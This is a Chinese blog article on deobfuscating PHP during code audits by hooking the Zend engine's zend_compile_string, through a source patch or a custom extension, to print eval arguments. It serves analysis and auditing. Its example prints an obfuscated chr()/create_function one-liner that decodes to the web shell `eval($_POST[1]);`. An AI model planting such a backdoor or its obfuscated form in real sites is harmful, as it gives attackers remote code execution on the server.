专栏首页Web技术布道师解密混淆的PHP程序

解密混淆的PHP程序

团队大佬在做PHP代码审计的时候发现PHP代码是被混淆过的。虽然可以通过自己手动解密可以还原原先的PHP代码,但是混淆过程比较复杂且自己写脚本还原非常麻烦。所以,我这边通过PHP底层的操作对混淆后的PHP代码进行还原。

0x02 PHP代码混淆

PHP代码混淆一般来说有两种方法:

需要PHP扩展

无需PHP扩展

本文我们主要讲解无需PHP扩展的代码混淆的解密。大多数的无需扩展的php代码混淆原理上都是使用eval进行代码的执行。如果我们能够得到 eval 函数的参数,即可获得解密后的代码。

不过,一般来说PHP的混淆都会通过多次 eval 来还原并执行php代码,所以我们可以通过hook PHP的eval函数来打印其参数来解密代码。

0x03 hook eval

PHP中的eval函数在Zend里需要调用 zend_compile_string 函数,我们可以通过调试看看 zend_compile_string 函数。

user@ubuntu ~/php-5.6.35/Zend ~ grep -rn "zend_compile_string" *

zend.c:693: zend_compile_string = compile_string;

我们发现 zend_compile_string 函数其实就是 compile_string 函数。所以我们可以通过写一个简单的PHP代码,看能否在 compile_string 中获取到 eval 参数的值

<?php

eval("phpinfo();");

?>

首先我们编译一下下载好的PHP。注意,由于我们后面要进行调试,所以要在编译时加上 -g 参数,加调试符号。

./configure CFLAGS="-g" CXXFLAGS="-g"

make -j16

接着我们使用gdb调试php程序。首先设置程序的参数,且在 compile_string 函数下好断点。

gdb-peda$ set args xxx.php

gdb-peda$ b compile_string

Breakpoint 1 at 0x6b4480: file Zend/zend_language_scanner.l, line 716.

然后让php程序跑起来

发现程序断下来后,我们发现 compile_string 的第一个参数 source_string 为php代码中 eval 函数的参数在Zend中的结构——即 zval_struct 。 source_string.value.str.val 即为参数的字符串形式。

通过修改 compile_string 函数来打印 eval 的参数,代码如下

if (Z_TYPE_P(source_string) == IS_STRING) // 判断是否为string类型

{

len = Z_STRLEN_P(source_string); // 求string的长度

str = estrndup(Z_STRVAL_P(source_string), len); // 拷贝到str中

printf("\n==================DUMP_CODE====================\n");

printf("%s\n", str); //打印

printf("\n==================DUMP_CODE====================\n");

}

修改好之后重新编译php,运行被加密的php代码

解密后的PHP代码如下

可以看到已经完全还原了被混淆的PHP代码

通过编写php扩展来解密php脚本

编写php扩展的原理就是用我们的函数hook zend_compile_string 函数,将函数的参数打印出来后再交还给 zend_compile_string 函数执行即可。

./ext/ext_skel --extname=decrypt_code

首先,我们写一个自己的hook函数。此函数的功能就是判断 eval 函数的参数是否为字符串,如果不是,则按原路径执行;如果是,则将参数打印出来后按照原路径执行。

static zend_op_array *decrypt_code_compile_string(zval *source_string, char *filename TSRMLS_DC)

{

int len;

char *str;

if (Z_TYPE_P(source_string) != IS_STRING)

{

return orig_zend_compile_string(source_string, filename TSRMLS_CC);

}

len = Z_STRLEN_P(source_string);

str = estrndup(Z_STRVAL_P(source_string), len);

printf("\n==========DUMP===========\n");

printf("%s", str);

printf("\n==========DUMP===========\n");

return orig_zend_compile_string(source_string, filename TSRMLS_CC);

}

接着,我们修改PHP扩展加载函数

PHP_MINIT_FUNCTION(decrypt_code)

{

/* If you have INI entries, uncomment these lines

REGISTER_INI_ENTRIES();

*/

orig_compile_string = zend_compile_string;

zend_compile_string = decrypt_code_compile_string;

return SUCCESS;

}

此函数的功能就是保存 zend_compile_string 函数的地址,接着用我们的hook函数替换 zend_compile_string 的地址。当 eval 函数调用 zend_compile_string 时,就调用了我们的hook函数。

最后,我们修改PHP扩展的卸载函数

PHP_MSHUTDOWN_FUNCTION(decrypt_code)

{

/* uncomment this line if you have INI entries

UNREGISTER_INI_ENTRIES();

*/

zend_compile_string = orig_zend_compile_string;

return SUCCESS;

}

当这个扩展被卸载的时候将函数的hook解除。

最后,编译我们的扩展

phpize

./configure --with-php-config=/usr/local/php/bin/php-config

make

接着,在php.ini中加上我们的扩展。

extension=decrypt_code.so

运行此脚本也可得到同样的输出。

0x04 利用其他函数还原的解密

其实,混淆代码的解密就是类似于代码执行。最终还是要执行PHP代码,而执行PHP代码的方法很多,除了 eval 函数还有 assert 、 call_user_func 、 call_user_func_array 、 create_function 等。这些函数的底层也是调用了 zend_compile_string ,所以也可以利用hook eval 来还原混淆后的加密代码。

0x05 Example

一段示例代码。

<?php

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();

?>

运行一下,得到解密后的结果。

./php 3.php

=====================DUMP_CODE========================

function __lambda_func(){eval($_POST[1]);}

=====================DUMP_CODE========================

本文分享自微信公众号 - PHP技术大全(phpgod),作者:FormSec

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-04-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 突发事件!PHP 7 的 PHP-FPM 存在远程代码执行漏洞

    据外媒 ZDNet 的报道 ,PHP 7.x 中最近修复的一个远程代码执行漏洞正被恶意利用,并会导致攻击者控制服务器。编号为 CVE-2019-11043 的...

    猿哥
  • PHP 性能监控:Tideways、xhprof 和 xhgui 打造 PHP 非侵入式监控平台

    针对要分析的站点进行设置,直接在要分析站点的 nginx 配置中增加以下项,然后使配置生效就可以了。

    猿哥
  • PHP的16种错误机制总结

    PHP的错误机制也是非常复杂的,做了几年php,也没有仔细总结过,现在就补上这一课。

    猿哥
  • 突发事件!PHP 7 的 PHP-FPM 存在远程代码执行漏洞

    据外媒 ZDNet 的报道 ,PHP 7.x 中最近修复的一个远程代码执行漏洞正被恶意利用,并会导致攻击者控制服务器。编号为 CVE-2019-11043 的...

    猿哥
  • 如何在Ubuntu 16.04中安装Linux,Nginx,MySQL,PHP(LNMP堆栈)

    LNMP软件堆栈是一组可用于为动态网页和Web应用程序提供服务的软件。它是一个描述带有Nginx Web服务器的Linux操作系统的首字母缩写词。其后端数据存储...

    乌鸦
  • 机器学习100天学习笔记1:简单的线性模型

    https://github.com/Avik-Jain/100-Days-Of-ML-Code/blob/master/Code/Day2_Simple_Li...

    用户7010445
  • Buildpacks项目

    说明:Buildpacks是可插入的、模块化的工具,通过提供比Dockerfile更高级别的抽象,将源代码转换为容器就绪的构件。通过这样做,他们提供了一种控制的...

    CNCF
  • MySQL修改复制用户及密码

        在生产环境中有时候需要修改复制用户账户的密码,比如密码遗失,或者由于多个不同的复制用户想统一为单独一个复制账户。对于这些操作应尽可能慎重以避免操作不同导...

    Leshami
  • 机器学习入门 4-8 scikit-learn中的scaler

    本系列是《玩转机器学习教程》一个整理的视频笔记。本小节主要介绍在sklearn中使用数据归一化。

    触摸壹缕阳光
  • 【AutoML】归一化(Normalization)方法如何进行自动学习和配置

    大家好,欢迎来到专栏《AutoML》,在这个专栏中我们会讲述AutoML技术在深度学习中的应用。这一期讲述在归一化机制中的应用。

    用户1508658

扫码关注云+社区

领取腾讯云代金券